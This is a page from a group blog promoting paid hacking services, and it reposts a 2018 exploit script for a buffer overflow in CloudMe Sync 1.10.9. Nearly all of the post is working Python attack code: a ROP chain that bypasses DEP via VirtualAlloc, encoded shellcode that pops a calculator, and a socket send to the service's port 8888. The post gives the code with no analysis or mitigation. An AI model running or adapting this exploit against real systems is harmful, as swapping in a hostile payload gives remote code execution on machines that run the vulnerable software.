Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396233

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)
# Date: 2018-08-05
# Exploit Author: Manoj Ahuje
# Linkedin: https://www.linkedin.com/in/manojahuje/
# Vendor Homepage: https://www.cloudme.com/
# Software Link: https://www.cloudme.com/downloads/CloudMe_1109.exe
# Tested on: Windows 10 Home (x64)

#!/usr/bin/env python

import socket,struct
  
print 'CloudMe Sync v1.10.9 Buffer Overflow with DEP Bypass on Win10 x64'
 
def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x61ba8b5e,  # POP EAX # RETN [Qt5Gui.dll] 
      0x690398a0,  # ptr to &VirtualAlloc() [IAT Qt5Core.dll]
      0x61cd7f74,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 
      0x68d50536,  # XCHG EAX,ESI # RETN [Qt5Core.dll] 
      0x699f619a,  # POP EBP # RETN [Qt5Network.dll] 
      0x68f7a81b,  # & jmp esp [Qt5Core.dll]
      0x68f9a472,  # POP EDX # RETN [Qt5Core.dll] 
      0xffffffff,  # Value to negate, will become 0x00000001
      0x6eb47052,  # NEG EDX # RETN [libgcc_s_dw2-1.dll] 
      0x68c7af10,  # POP EBX # RETN [Qt5Core.dll] 
      0xffffffff,  #  
      0x6201df92,  # INC EBX # RETN [Qt5Gui.dll] 
      0x68f8063c,  # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll] 
      0x61f03b9c,  # POP EAX # RETN [Qt5Gui.dll] 
      0x7cfc896b,  # put delta into eax (-> put 0x00001000 into edx)
      0x69a76004,  # ADD EAX,83038642 # ADD AL,53 # RETN [Qt5Network.dll] 
      0x62035b71,  # XCHG EAX,EDX # RETN [Qt5Gui.dll] 
      0x61db4eca,  # POP EAX # RETN [Qt5Gui.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x6fe4ceaa,  # NEG EAX # RETN [libstdc++-6.dll] 
      0x68fb862d,  # XCHG EAX,ECX # RETN [Qt5Core.dll] 
      0x68b13f2a,  # POP EDI # RETN [Qt5Core.dll] 
      0x6fe4ceac,  # RETN (ROP NOP) [libstdc++-6.dll]
      0x61ba8fa8,  # POP EAX # RETN [Qt5Gui.dll] 
      0x90909090,  # nop
      0x61bf7fca,  # PUSHAD # RETN [Qt5Gui.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()
 
#msf payload calc alpha numeric

shellcode =  ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"                            
 
  
host='127.0.0.1' 

#payload = "A" * (2236+116)
junk1 = "A"*(156+48)
rop=rop_chain
nop = "\x90"*10 
junk2="D"*(2236+116-len(junk1)-len(rop)-len(nop)-len(shellcode))
nseh = "GGGG" 
seh = struct.pack('<L',0x699CCB7F)#network Address=699CCB7F Disassembly=ADD ESP,83C

trigger = "B"*50000
payload = junk1+rop+nop+shellcode+junk2 +nseh + seh + trigger

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host,8888))
s.send(payload)
print 'Check calculator should be running'